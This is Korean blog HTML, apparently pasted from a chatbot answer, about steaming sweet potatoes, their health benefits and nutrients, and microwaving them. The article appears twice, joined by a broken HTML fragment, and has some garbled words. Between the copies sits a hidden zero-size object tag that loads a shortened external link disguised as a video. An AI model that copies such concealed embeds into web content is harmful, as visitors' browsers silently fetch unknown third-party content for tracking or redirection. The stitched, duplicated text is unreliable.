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<div _ngcontent-ng-c1476202065="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:28">고구마, 건강과 맛을 모두 잡는 최고의 간식!</h2><p data-sourcepos="3:1-3:45"><strong>고구마 찌는 방법부터 , 영양성분, 전자레인지 조리법까지 알려드릴게요.</strong></p><h3 data-sourcepos="5:1-5:15">고구마 찌는 방법</h3><p data-sourcepos="7:1-7:14"><strong>재료:</strong> 고구마, 물</p><ol data-sourcepos="9:1-14:0">
<li data-sourcepos="9:1-9:40"><strong>세척:</strong> 고구마를 흐르는 물에 깨끗하게 씻어 흙을 제거합니다.</li>
<li data-sourcepos="10:1-10:27"><strong>손질:</strong> 양쪽 끝을 살짝 잘라줍니다.</li>
<li data-sourcepos="11:1-11:37"><strong>찜기 준비:</strong> 냄비에 물을 적당량 붓고 찜기를 올립니다.</li>
<li data-sourcepos="12:1-12:36"><strong>고구마 올리기:</strong> 찜기에 고구마를 가지런히 올려줍니다.</li>
<li data-sourcepos="13:1-14:0"><strong>찌기:</strong> 센 불에서 15분, 중불로 10분, 불을 끄고 10분 정도 뜸을 들입니다.</li>
</ol><p data-sourcepos="15:1-15:8"><strong>꿀팁:</strong></p><ul data-sourcepos="16:1-19:0">
<li data-sourcepos="16:1-16:27">고구마 크기에 따라 찌는 시간을 조절해주세요.</li>
<li data-sourcepos="17:1-17:46">찜기에 삼발이를 넣어주면 고구마가 눌어붙지 않고 더욱 맛있게 쪘을 수 있습니다.</li>
<li data-sourcepos="18:1-19:0">다시마를 함께 넣으면 고구마의 단맛을 더욱 풍부하게 할 수 있습니다.</li>
</ul><h3 data-sourcepos="20:1-20:13">고구마의 </h3><ul data-sourcepos="22:1-27:0">
<li data-sourcepos="22:1-22:53"><strong>변비 예방:</strong> 식이섬유가 풍부하여 장 운동을 활발하게 해주고 변비 예방에 적입니다.</li>
<li data-sourcepos="23:1-23:42"><strong>다이어트:</strong> 칼로리가 낮고 포만감이 커 다이어트 식단으로 좋습니다.</li>
<li data-sourcepos="24:1-24:60"><strong>피부 건강:</strong> 베타카로틴 성분이 풍부하여 피부를 건강하게 유지하고 노화를 방지하는데 도움을 줍니다.</li>
<li data-sourcepos="25:1-25:35"><strong>눈 건강:</strong> 비타민 A가 풍부하여 눈 건강에 좋습니다.</li>
<li data-sourcepos="26:1-27:0"><strong>면역력 강화:</strong> 비타민 C가 함유되어 면역력을 강화시켜줍니다.</li>
</ul><h3 data-sourcepos="28:1-28:15">고구마의 영양성분</h3><ul data-sourcepos="30:1-35:0">
<li data-sourcepos="30:1-30:25"><strong>탄수화물:</strong> 에너지원으로 사용됩니다.</li>
<li data-sourcepos="31:1-31:23"><strong>식이섬유:</strong> 장 건강에 좋습니다.</li>
<li data-sourcepos="32:1-32:25"><strong>베타카로틴:</strong> 항산화 작용을 합니다.</li>
<li data-sourcepos="33:1-33:35"><strong>비타민 A, C:</strong> 눈 건강, 면역력 강화에 좋습니다.</li>
<li data-sourcepos="34:1-35:0"><strong>칼륨:</strong> 혈압 조절에 도움을 줍니다.</li>
</ul><h3 data-sourcepos="36:1-36:19">고구마 전자레인지 조리법</h3><ol data-sourcepos="38:1-42:0">
<li data-sourcepos="38:1-38:30"><strong>세척 및 손질:</strong> 위와 동일하게 진행합니다.</li>
<li data-sourcepos="39:1-39:29"><strong>랩 씌우기:</strong> 고구마를 랩으로 감싸줍니다.</li>
<li data-sourcepos="40:1-40:50"><strong>전자레인지 조리:</strong> 전자레인지에 넣고 고구마 크기에 따라 3~5분간 조리합니다.</li>
<li data-sourcepos="41:1-42:0"><strong>완성:</strong> 랩을 벗기고 뜨겁게 즐기세요.</li>
</ol><p data-sourcepos="43:1-43:63"><strong>주의:</strong> 전자레인지 조리 시 고구마가 터질 수 있으므로 젓가락으로 찔러보아 부드러워졌는지 확인한 후 드세요.</p><p data-sourcepos="45:1-45:56"><strong>다양한 고구마 요리 레시피를 찾고 있다면, '만개의 레시피' 같은 요리 사이트를 참고해보세요!</strong></p><p data-sourcepos="47:1-47:29"><strong>고구마, 건강하고 맛있는 간식으로 즐겨보세요!</strong></p><p data-sourcepos="49:1-49:30"><strong>궁금한 점이 있다면 언제든지 다시 질문해주세요.</strong></p><p data-sourcepos="51:1-51:28"><em>혹시 특정 고구마 요리 레시피가 궁금하신가요?</em></p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/b8YD" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
<div _ngcontent-ng-c1476202065="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:28">고구마, 건강과 맛을 모두 잡는 최고의 간식!</h2><p data-sourcepos="3:1-3:45"><strong>고구마 찌는 방법부터 , 영양성분, 전자레인지 조리법까지 알려드릴게요.</strong></p><h3 data-sourcepos="5:1-5:15">고구마 찌는 방법</h3><p data-sourcepos="7:1-7:14"><strong>재료:</strong> 고구마, 물</p><ol data-sourcepos="9:1-14:0">
<li data-sourcepos="9:1-9:40"><strong>세척:</strong> 고구마를 흐르는 물에 깨끗하게 씻어 흙을 제거합니다.</li>
<li data-sourcepos="10:1-10:27"><strong>손질:</strong> 양쪽 끝을 살짝 잘라줍니다.</li>
<li data-sourcepos="11:1-11:37"><strong>찜기 준비:</strong> 냄비에 물을 적당량 붓고 찜기를 올립니다.</li>
<li data-sourcepos="12:1-12:36"><strong>고구마 올리기:</strong> 찜기에 고구마를 가지런히 올려줍니다.</li>
<li data-sourcepos="13:1-14:0"><strong>찌기:</strong> 센 불에서 15분, 중불로 10분, 불을 끄고 10분 정도 뜸을 들입니다.</li>
</ol><p data-sourcepos="15:1-15:8"><strong>꿀팁:</strong></p><ul data-sourcepos="16:1-19:0">
<li data-sourcepos="16:1-16:27">고구마 크기에 따라 찌는 시간을 조절해주세요.</li>
<li data-sourcepos="17:1-17:46">찜기에 삼발이를 넣어주면 고구마가 눌어붙지 않고 더욱 맛있게 쪘을 수 있습니다.</li>
<li data-sourcepos="18:1-19:0">다시마를 함께 넣으면 고구마의 단맛을 더욱 풍부하게 할 수 있습니다.</li>
</ul><h3 data-sourcepos="20:1-20:13">고구마의 </h3><ul data-sourcepos="22:1-27:0">
<li data-sourcepos="22:1-22:53"><strong>변비 예방:</strong> 식이섬유가 풍부하여 장 운동을 활발하게 해주고 변비 예방에 적입니다.</li>
<li data-sourcepos="23:1-23:42"><strong>다이어트:</strong> 칼로리가 낮고 포만감이 커 다이어트 식단으로 좋습니다.</li>
<li data-sourcepos="24:1-24:60"><strong>피부 건강:</strong> 베타카로틴 성분이 풍부하여 피부를 건강하게 유지하고 노화를 방지하는데 도움을 줍니다.</li>
<li data-sourcepos="25:1-25:35"><strong>눈 건강:</strong> 비타민 A가 풍부하여 눈 건강에 좋습니다.</li>
<li data-sourcepos="26:1-27:0"><strong>면역력 강화:</strong> 비타민 C가 함유되어 면역력을 강화시켜줍니다.</li>
</ul><h3 data-sourcepos="28:1-28:15">고구마의 영양성분</h3><ul data-sourcepos="30:1-35:0">
<li data-sourcepos="30:1-30:25"><strong>탄수화물:</strong> 에너지원으로 사용됩니다.</li>
<li data-sourcepos="31:1-31:23"><strong>식이섬유:</strong> 장 건강에 좋습니다.</li>
<li data-sourcepos="32:1-32:25"><strong>베타카로틴:</strong> 항산화 작용을 합니다.</li>
<li data-sourcepos="33:1-33:35"><strong>비타민 A, C:</strong> 눈 건강, 면역력 강화에 좋습니다.</li>
<li data-sourcepos="34:1-35:0"><strong>칼륨:</strong> 혈압 조절에 도움을 줍니다.</li>
</ul><h3 data-sourcepos="36:1-36:19">고구마 전자레인지 조리법</h3><ol data-sourcepos="38:1-42:0">
<li data-sourcepos="38:1-38:30"><strong>세척 및 손질:</strong> 위와 동일하게 진행합니다.</li>
<li data-sourcepos="39:1-39:29"><strong>랩 씌우기:</strong> 고구마를 랩으로 감싸줍니다.</li>
<li data-sourcepos="40:1-40:50"><strong>전자레인지 조리:</strong> 전자레인지에 넣고 고구마 크기에 따라 3~5분간 조리합니다.</li>
<li data-sourcepos="41:1-42:0"><strong>완성:</strong> 랩을 벗기고 뜨겁게 즐기세요.</li>
</ol><p data-sourcepos="43:1-43:63"><strong>주의:</strong> 전자레인지 조리 시 고구마가 터질 수 있으므로 젓가락으로 찔러보아 부드러워졌는지 확인한 후 드세요.</p><p data-sourcepos="45:1-45:56"><strong>다양한 고구마 요리 레시피를 찾고 있다면, '만개의 레시피' 같은 요리 사이트를 참고해보세요!</strong></p><p data-sourcepos="47:1-47:29"><strong>고구마, 건강하고 맛있는 간식으로 즐겨보세요!</strong></p><p data-sourcepos="49:1-49:30"><strong>궁금한 점이 있다면 언제든지 다시 질문해주세요.</strong></p><p data-sourcepos="51:1-51:28"><em>혹시 특정 고구마 요리 레시피가 궁금하신가요?</em></p></div>
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